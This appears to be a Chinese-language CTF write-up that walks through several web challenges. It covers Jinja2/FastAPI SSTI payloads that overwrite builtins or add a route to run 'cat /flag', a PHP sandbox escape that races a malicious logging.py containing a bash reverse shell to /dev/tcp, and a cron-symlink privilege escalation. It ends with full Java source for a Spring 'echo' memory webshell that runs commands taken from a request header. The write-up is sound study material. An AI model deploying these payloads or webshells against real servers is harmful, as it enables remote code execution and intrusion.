尽力了,自己还是太菜了
 Encircling 普通小游戏,打赢即有flag,前端操作一下就行了。
 GoldenHornKing  非预期解 我出的是非预期解。
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import  osimport  jinja2import  functoolsimport  uvicornfrom  fastapi import  FastAPIfrom  fastapi.templating import  Jinja2Templatesfrom  anyio import  fail_after, sleepdef  timeout_after (timeout: int  = 1  ):    def  decorator (func ):         @functools.wraps(func )         async  def  wrapper (*args, **kwargs ):             with  fail_after(timeout):                 return  await  func(*args, **kwargs)         return  wrapper     return  decorator app = FastAPI() access = False  _base_path = os.path.dirname(os.path.abspath(__file__)) t = Jinja2Templates(directory=_base_path) @app.get("/"  @timeout_after(1  async  def  index ():    return  open (__file__, 'r' ).read() @app.get("/calc"  @timeout_after(1  async  def  ssti (calc_req: str   ):    global  access     if  (any (char.isdigit() for  char in  calc_req)) or  ("%"  in  calc_req) or  not  calc_req.isascii() or  access:         return  "bad char"      else :         jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req}  }}}}" ).render({"app" : app})         access = True          return  "fight"  if  __name__ == "__main__" :    uvicorn.run(app, host="0.0.0.0" , port=5000 ) 
去查一下就知道了,jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render({"app": app})就是jinja2+fastapi的ssti语句。也就是说我们这里就是打fastapi+jinja2的ssti。示例代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from  fastapi import  FastAPIfrom  fastapi.responses import  HTMLResponsefrom  jinja2 import  Environmentapp = FastAPI() @app.get("/"  async  def  read_root (username=None  ):    username = username or  "Guest"      Jinja2 = Environment()          output = Jinja2.from_string("Welcome "  + username + "!" ).render()               return  HTMLResponse(content=output) 
很像吧。
但是这个题目有限制,无回显+access限制。access的存在使得我们每开启一次就只能打一次payload,如果一次不能成功就只能重启靶机。
所以先本地测试,改成有回显的情况。哦对,还有过滤,过滤数字和%,差点忘了。
本地测试发现不用{{}}包裹就能够打ssti了。
测试payload:
1 lipsum.__globals__.os.popen('dir').read() 
有回显
尝试反弹shell发现payload会带数字,dnslog curl不到。
那现在就是指向一个无回显、不出网、只能打一次限制盲注的情况。
这种情况最好的办法就是打内存马,要打内存马就只能找到添加路由的函数,欸,但是我没找到。
我找的是另一条路,灵感来自于pyjail。
link_here 
看到这里灵感瞬间来了,我们lipsum也能够拿到exec,那就是说我们能够篡改任意一个函数。篡改哪个呢?答案不言而喻。
1 2 3 4 @app.get("/"  @timeout_after(1  async  def  index ():    return  open (__file__, 'r' ).read() 
很明显就是这个open,能够返回值显示的,这样不就有回显了吗?
照猫画虎一下修改open,这里用的是lambda表达式,很好写的:
1 lipsum.__globals__['__builtins__' ]['exec' ]("globals()['__builtins__']['open']=lambda x,y: __import__('os').popen('cat /flag')" ) 
本地测试:
1 lipsum.__globals__['__builtins__' ]['exec' ]("globals()['__builtins__']['open']=lambda x,y: __import__('os').popen('whoami')" ) 
至于为什么用popen,很简单啊,因为还要调用一个.read(),我们平时做ssti不都是popen('xxx').read()吗,这不就相当于popen('xxx').read()吗
本地测试成功。去远程环境打就可以了:
 预期解 Z3r4y师傅的解法,发现了add_api_route可以动态添加一个路由,那payload很简单了:
1 /calc?calc_req=config.__init__.__globals__['__builtins__' ]['exec' ]('app.add_api_route("/flag",lambda:__import__("os").popen("cat /flag").read());' ,{"app" :app}) 
 php online 有点炸裂这题,源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from  flask import  Flask, request, session, redirect, url_for, render_templateimport  osimport  secretsapp = Flask(__name__) app.secret_key = secrets.token_hex(16 ) working_id = [] @app.route('/' , methods=['GET' , 'POST' ] def  index ():    if  request.method == 'POST' :         id  = request.form['id' ]         if  not  id .isalnum() or  len (id ) != 8 :             return  '无效的ID'          session['id' ] = id          if  not  os.path.exists(f'/sandbox/{id } ' ):             os.popen(f'mkdir /sandbox/{id }  && chown www-data /sandbox/{id }  && chmod a+w /sandbox/{id } ' ).read()         return  redirect(url_for('sandbox' ))     return  render_template('submit_id.html' ) @app.route('/sandbox' , methods=['GET' , 'POST' ] def  sandbox ():    if  request.method == 'GET' :         if  'id'  not  in  session:             return  redirect(url_for('index' ))         else :             return  render_template('submit_code.html' )     if  request.method == 'POST' :         if  'id'  not  in  session:             return  'no id'          user_id = session['id' ]         if  user_id in  working_id:             return  'task is still running'          else :             working_id.append(user_id)             code = request.form.get('code' )             os.popen(f'cd /sandbox/{user_id}  && rm *' ).read()             os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id} /init.py && cd /sandbox/{user_id}  && sudo -u www-data python3 init.py' ).read()             os.popen(f'rm -rf /sandbox/{user_id} /phpcode' ).read()                          php_file = open (f'/sandbox/{user_id} /phpcode' , 'w' )             php_file.write(code)             php_file.close()             result = os.popen(f'cd /sandbox/{user_id}  && sudo -u nobody php phpcode' ).read()             os.popen(f'cd /sandbox/{user_id}  && rm *' ).read()             working_id.remove(user_id)             return  result if  __name__ == '__main__' :    app.run(debug=False , host='0.0.0.0' , port=80 ) 
逻辑就是nobody权限用户去执行php代码,nobody的权限比www-data还低。
这里刚开始看到sudo -u www-data python3 init.py,用www-data执行的init.py,便想去尝试读一下这个文件:
1 2 3 <?php system ('cat /app/init.py' );?> 
发现只是一段很普通的代码:
1 2 import  logginglogger.info('Code execution start' ) 
然后没了,看了很久都没看出来。
比完了问了一下烧卖的师傅们,gztime师傅说用的是条件竞争做的。呜呜,当时没看出来。
在哪竞争呢?其实就是这个sudo -u www-data python3 init.py
它import了logging。在python里同目录下的同名py文件优先于第三方库文件。也就是说我们如果在sandbox里也有一个logging.py,那么它就会先调用我们的logging.py文件。
很显然我们不能够直接将自己的logging.py文件放到sandbox里,因为每次运行都会删掉沙箱里的所有东西。我们先在tmp目录下写,然后sh脚本调用将其循环复制竞争即可。
1 2 3 4 5 6 7 8 <?php system ("echo \"__import__('os').popen('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"') > /tmp/logging.py\"" );system ("echo 'while true;do' >> /tmp/a.sh" );system ("echo '    cp /tmp/logging.py /sandbox/sandboxname/logging.py' >> /tmp/a.sh" );system ("echo 'done'>>/tmp/a.sh" );system ("chmod +x /tmp/a.sh" );system ("sh /tmp/a.sh" );?> 
这样能够不断将logging.py复制到sandboxname目录下,也就是一个沙箱内,此时只需要不断在该沙箱内触发sudo -u www-data python3 init.py即可,随便执行触发。这样能够获取到www-data权限的shell。但是还不够,flag是只有root权限才能够拿到的,我们还得想办法到root权限。
suid没有有用的信息,uname -a也没有有用的信息。但是ps -aux会发现开着定时任务。此时我们要想办法往定时任务里写东西。利用沙箱会cd进沙箱目录然后写phpcode文件的操作,可以将沙箱和定时任务目录软链接起来,然后写的时候就会写入定时任务里了。
1 ln -s /etc/cron.d /sandbox/xxxxxxxx 
然后传定时任务格式的payload就行了:
1 2 * * * * * root cat /flag > /tmp/flag # <?php sleep(10000);?> 
# <?php sleep(10000);?>这里是防止phpcode被删的太快,保证能够写到计划任务里并且执行。最后到/tmp/flag下读flag就可以了
 admin_test 这个题也没看,第二天感觉一眼看上去很简单。简单说下思路吧,dirsearch扫到admin.html。是一个上传并且执行命令的界面,传了发现waf,慢慢扫会发现限制了t * . /,跟ctfshow那个临时文件执行差不多:
最后利用find提权就可以了。
 ez_java(未解出) 不懂,考的是jdk17下的cb链。去看了rwctf的oldsystem和n1ctf junior的derby plus,那两个一个是低版本下的cb链,一个是高版本下的cb链,都指向了ldapAttribute这条链子,打的是jndi。但是将payload发过去之后发现它还有waf,过滤了org.apache类,有点不会打了。
updated in 2024/8/20 
看了wp,发现又是你妈的utf8 overlong encoding,卧槽,三次死在这个上面了。
还有一个比较重要的点,cb一般都会带上cc依赖,而实际测试也基本上是这样:
可以看见org.apache.commons下有beanutils和collections,绷不住了。
而且题目不出网,只能够打内存马,这下反而变简单了。用cc链打一个内存马就行了。但是高版本下没有templatesimpl,我们得找一个新的路线去等效替代。
新路线就是MethodHandles.lookup.defineClass。不由得让我们想到cc3的调用路线,通过InstantiateTransformer调用这个defineClass加载字节码,和cc3类似。
打内存马用springEcho。这里得用Unsafe patch一下module,但是wp没有详细提供。因为jdk17模块化的原因导致有些unnamed的module无法加载,所以有可能要添加参数。
1 2 3 4 5 6 7 8 9 10 Class  unsafeClass  =  Class.forName("sun.misc.Unsafe" );Field  unsafeField  =  unsafeClass.getDeclaredField("theUnsafe" );unsafeField.setAccessible(true ); Unsafe  unsafe  =  (Unsafe)unsafeField.get((Object)null );Method  getModuleMethod  =  Class.class.getDeclaredMethod("getModule" );Object  module  =  getModuleMethod.invoke(Object.class);Class  clz  =  xxx.class;long  offset  =  unsafe.objectFieldOffset(Class.class.getDeclaredField("module" ));unsafe.getAndSetObject(clz, offset, module ); 
神秘的springEcho:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 package  com.Err0r233;import  sun.misc.Unsafe;import  java.io.InputStream;import  java.io.Writer;import  java.lang.reflect.Field;import  java.lang.reflect.Method;import  java.util.EventListener;import  java.util.Locale;import  java.util.Scanner;public  class  Exploit  {    private  String getReqHeaderName () {         return  "Cache-Control-Hbobnf" ;     }     public  Exploit ()  throws  Exception{         try  {             Class  unsafeClass  =  Class.forName("sun.misc.Unsafe" );             Field  unsafeField  =  unsafeClass.getDeclaredField("theUnsafe" );             unsafeField.setAccessible(true );             Unsafe  unsafe  =  (Unsafe) unsafeField.get((Object) null );             Method  getModuleMethod  =  Class.class.getDeclaredMethod("getModule" );             Object  module  =  getModuleMethod.invoke(Object.class);             Class  clz  =  Exploit.class;             long  offset  =  unsafe.objectFieldOffset(Class.class.getDeclaredField("module" ));             unsafe.getAndSetObject(clz, offset, module );         } catch  (Exception e){         }         this .run();     }     public  void  run () {         ClassLoader  classLoader  =  Thread.currentThread().getContextClassLoader();         try {             Object  requestAttributes  =  this .invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder" ), "getRequestAttributes" );             Object  request  =  this .invokeMethod(requestAttributes, "getRequest" );             Object  response  =  this .invokeMethod(requestAttributes, "getResponse" );             Method  getHeaderM  =  request.getClass().getMethod("getHeader" , String.class);             String  cmd  =  (String) getHeaderM.invoke(request, this .getReqHeaderName());             if  (cmd != null  && !cmd.isEmpty()){                 Writer  writer  =  (Writer) this .invokeMethod(response, "getWriter" );                 writer.write(this .exec(cmd));                 writer.flush();                 writer.close();             }         }catch  (Exception e){         }     }     private  String exec (String cmd) {         try {             boolean  isLinux  =  true ;             String  osType  =  System.getProperty("os.name" );             if (osType != null  && osType.toLowerCase().contains("win" )){                 isLinux = false ;             }             String[] cmds = isLinux ? new  String []{"/bin/sh" , "-c" , cmd} : new  String []{"cmd.exe" , "/c" , cmd};             InputStream  in  =  Runtime.getRuntime().exec(cmds).getInputStream();             Scanner  s  =  new  Scanner (in).useDelimiter("\\a" );             String execRes;             for (execRes = "" ; s.hasNext();execRes = execRes + s.next()){             }             return  execRes;         } catch  (Exception var8){             Exception  e  =  var8;             return  e.getMessage();         }     }     private  Object invokeMethod (Object obj, String methodName)  throws  Exception{         return  this .invokeMethod(obj, methodName, new  Class [0 ], new  Object [0 ]);     }     private  Object invokeMethod (Object obj, String methodName, Class[] paramClazz, Object[] param)  throws  Exception{         Class  clazz  =  obj instanceof  Class ? (Class) obj : obj.getClass();         Method  method  =  null ;         Class  tempClass  =  clazz;         while  (method == null  && tempClass != null ){             try {                 if  (paramClazz == null ){                     Method[] methods = tempClass.getDeclaredMethods();                     for  (int  i=0 ;i<methods.length;++i){                         if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0 ){                             method = methods[i];                             break ;                         }                         else  {                             method = tempClass.getDeclaredMethod(methodName, paramClazz);                         }                     }                 }             } catch  (NoSuchMethodException var12){                 tempClass = tempClass.getSuperclass();             }         }         if  (method == null ){             throw  new  NoSuchMethodException (methodName);         }         else  {             method.setAccessible(true );             if (obj instanceof  Class){                 try  {                     return  method.invoke((Object) null , param);                 } catch  (IllegalAccessException var10){                     throw  new  RuntimeException (var10.getMessage());                 }             }             else  {                 try  {                     return  method.invoke(obj, param);                 } catch  (IllegalAccessException var11){                     throw  new  RuntimeException (var11.getMessage());                 }             }         }     } }